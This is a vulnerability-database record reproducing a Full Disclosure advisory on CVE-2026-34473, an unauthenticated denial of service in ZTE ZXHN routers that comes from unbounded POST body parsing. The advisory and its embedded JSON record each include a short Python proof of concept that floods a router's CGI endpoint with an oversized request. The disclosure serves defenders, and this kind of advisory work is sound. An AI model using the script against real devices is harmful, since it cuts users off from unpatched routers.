GCVE-1988-2026-0370
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
[SECURITY ADVISORY] CVE-2026-34473 - Unauthenticated DoS in 17+ ZTE Router Models (140K+ Devices)
Summary
-----BEGIN SECURITY ADVISORY-----
Advisory ID: MONX-2026-001
CVE ID: CVE-2026-34473
Title: Unauthenticated Denial of Service via Oversized POST Body
in ZTE Router CGILua Parser
Affected: 17+ ZTE ZXHN router models (~140,000 publicly exposed
devices)
CVSS Score: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Date: 2026-05-20
Author: Mina Nageh Salalma (Monx Research)
Contact: minanageh379 () gmail com
Public URL:
https://github.com/minanagehsalalma/cve-2026-34473-unauthenticated-dos-zte-routers
MITRE: https://www.cve.org/CVERecord?id=CVE-2026-34473
AFFECTED PRODUCTS
-----------------
17+ ZTE ZXHN router models sharing the CGILua firmware stack.
Estimated 140,000+ devices publicly reachable on the Internet at time of
research.
VULNERABILITY DESCRIPTION
--------------------------
The CGILua post.lua parser used in ZTE ZXHN routers does not enforce an
upper
bound on the body size of application/x-www-form-urlencoded POST requests.
An unauthenticated attacker can crash or freeze the router's web management
service by sending a single HTTP POST request with an oversized body to any
CGI endpoint. No authentication, session cookie, or prior access is
required.
ROOT CAUSE
----------
Firmware analysis of extracted squashfs images confirms that post.lua reads
the entire POST body into memory before parsing. There is no Content-Length
check or body-size limiter before the allocation occurs. Oversized payloads
cause the LuCI/CGILua process to exhaust memory or fault, taking down the
web management interface until the device is power-cycled.
PROOF OF CONCEPT
----------------
import requests
url = "http://TARGET_IP/cgi-bin/luci";
payload = "a=" + "A" * (256 * 1024) # 256 KB
headers = {"Content-Type": "application/x-www-form-urlencoded"}
try:
r = requests.post(url, data=payload, headers=headers, timeout=15)
print(f"HTTP {r.status_code}")
except requests.exceptions.Timeout:
print("Timeout - DoS successful")
except requests.exceptions.ConnectionError:
print("Connection dropped - DoS successful")
IMPACT
------
An unauthenticated attacker on the LAN or WAN (if management interface is
publicly exposed, as is the case for ~140,000 devices) can permanently
disable remote management access, forcing a physical reboot to restore
access.
ISP-deployed devices with no physical access for end users are especially
vulnerable.
TIMELINE
--------
2024-05: Local validation on hardware. Firmware extraction and root-cause
confirmed.
2024-05: Report sent to ZTE PSIRT.
2025-01: Escalated to MITRE after ZTE failed to respond.
2026-03: MITRE assigned CVE-2026-34473.
2026-05-20: Full public disclosure.
VENDOR RESPONSE
---------------
ZTE PSIRT did not respond to the initial report. MITRE assigned the CVE
directly. No patch has been issued.
CREDITS
-------
Mina Nageh Salalma (Monx Research)
https://github.com/minanagehsalalma
-----END SECURITY ADVISORY-----
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
8 references
Impacted products
Relationships
analysis
GCVE-1988-2026-0370 (this record)
- related CVE-2026-34473
{
"containers": {
"cna": {
"affected": [
{
"product": "unknown",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "m.nageh"
}
],
"descriptions": [
{
"lang": "en",
"value": "-----BEGIN SECURITY ADVISORY-----\n\nAdvisory ID: MONX-2026-001\nCVE ID: CVE-2026-34473\nTitle: Unauthenticated Denial of Service via Oversized POST Body\nin ZTE Router CGILua Parser\nAffected: 17+ ZTE ZXHN router models (~140,000 publicly exposed\ndevices)\nCVSS Score: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\nDate: 2026-05-20\nAuthor: Mina Nageh Salalma (Monx Research)\nContact: minanageh379 () gmail com\nPublic URL:\nhttps://github.com/minanagehsalalma/cve-2026-34473-unauthenticated-dos-zte-routers\nMITRE: https://www.cve.org/CVERecord?id=CVE-2026-34473\n\n\nAFFECTED PRODUCTS\n-----------------\n17+ ZTE ZXHN router models sharing the CGILua firmware stack.\nEstimated 140,000+ devices publicly reachable on the Internet at time of\nresearch.\n\n\nVULNERABILITY DESCRIPTION\n--------------------------\nThe CGILua post.lua parser used in ZTE ZXHN routers does not enforce an\nupper\nbound on the body size of application/x-www-form-urlencoded POST requests.\nAn unauthenticated attacker can crash or freeze the router\u0027s web management\nservice by sending a single HTTP POST request with an oversized body to any\nCGI endpoint. No authentication, session cookie, or prior access is\nrequired.\n\n\nROOT CAUSE\n----------\nFirmware analysis of extracted squashfs images confirms that post.lua reads\nthe entire POST body into memory before parsing. There is no Content-Length\ncheck or body-size limiter before the allocation occurs. Oversized payloads\ncause the LuCI/CGILua process to exhaust memory or fault, taking down the\nweb management interface until the device is power-cycled.\n\n\nPROOF OF CONCEPT\n----------------\n import requests\n url = \"http://TARGET_IP/cgi-bin/luci\";\n payload = \"a=\" + \"A\" * (256 * 1024) # 256 KB\n headers = {\"Content-Type\": \"application/x-www-form-urlencoded\"}\n try:\n r = requests.post(url, data=payload, headers=headers, timeout=15)\n print(f\"HTTP {r.status_code}\")\n except requests.exceptions.Timeout:\n print(\"Timeout - DoS successful\")\n except requests.exceptions.ConnectionError:\n print(\"Connection dropped - DoS successful\")\n\n\nIMPACT\n------\nAn unauthenticated attacker on the LAN or WAN (if management interface is\npublicly exposed, as is the case for ~140,000 devices) can permanently\ndisable remote management access, forcing a physical reboot to restore\naccess.\nISP-deployed devices with no physical access for end users are especially\nvulnerable.\n\n\nTIMELINE\n--------\n2024-05: Local validation on hardware. Firmware extraction and root-cause\nconfirmed.\n2024-05: Report sent to ZTE PSIRT.\n2025-01: Escalated to MITRE after ZTE failed to respond.\n2026-03: MITRE assigned CVE-2026-34473.\n2026-05-20: Full public disclosure.\n\n\nVENDOR RESPONSE\n---------------\nZTE PSIRT did not respond to the initial report. MITRE assigned the CVE\ndirectly. No patch has been issued.\n\n\nCREDITS\n-------\nMina Nageh Salalma (Monx Research)\nhttps://github.com/minanagehsalalma\n\n-----END SECURITY ADVISORY-----\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T07:55:58Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/18"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/May/18"
},
{
"url": "http://TARGET_IP/cgi-bin/luci\""
},
{
"url": "https://github.com/minanagehsalalma"
},
{
"url": "https://github.com/minanagehsalalma/cve-2026-34473-unauthenticated-dos-zte-routers"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34473"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/May/18"
],
"discovery": "EXTERNAL"
},
"title": "[SECURITY ADVISORY] CVE-2026-34473 - Unauthenticated DoS in 17+ ZTE Router Models (140K+ Devices)",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-34473",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0370",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/18",
"automated": true,
"contentSha256": "0bde7d633167526f5023053fdf061290e62adf3538e7a3b5481b6619dd73efb0",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/May/18",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-05-20T14:31:38Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0370"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-11T07:55:58Z",
"dateUpdated": "2026-09-11T07:55:58Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0370"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.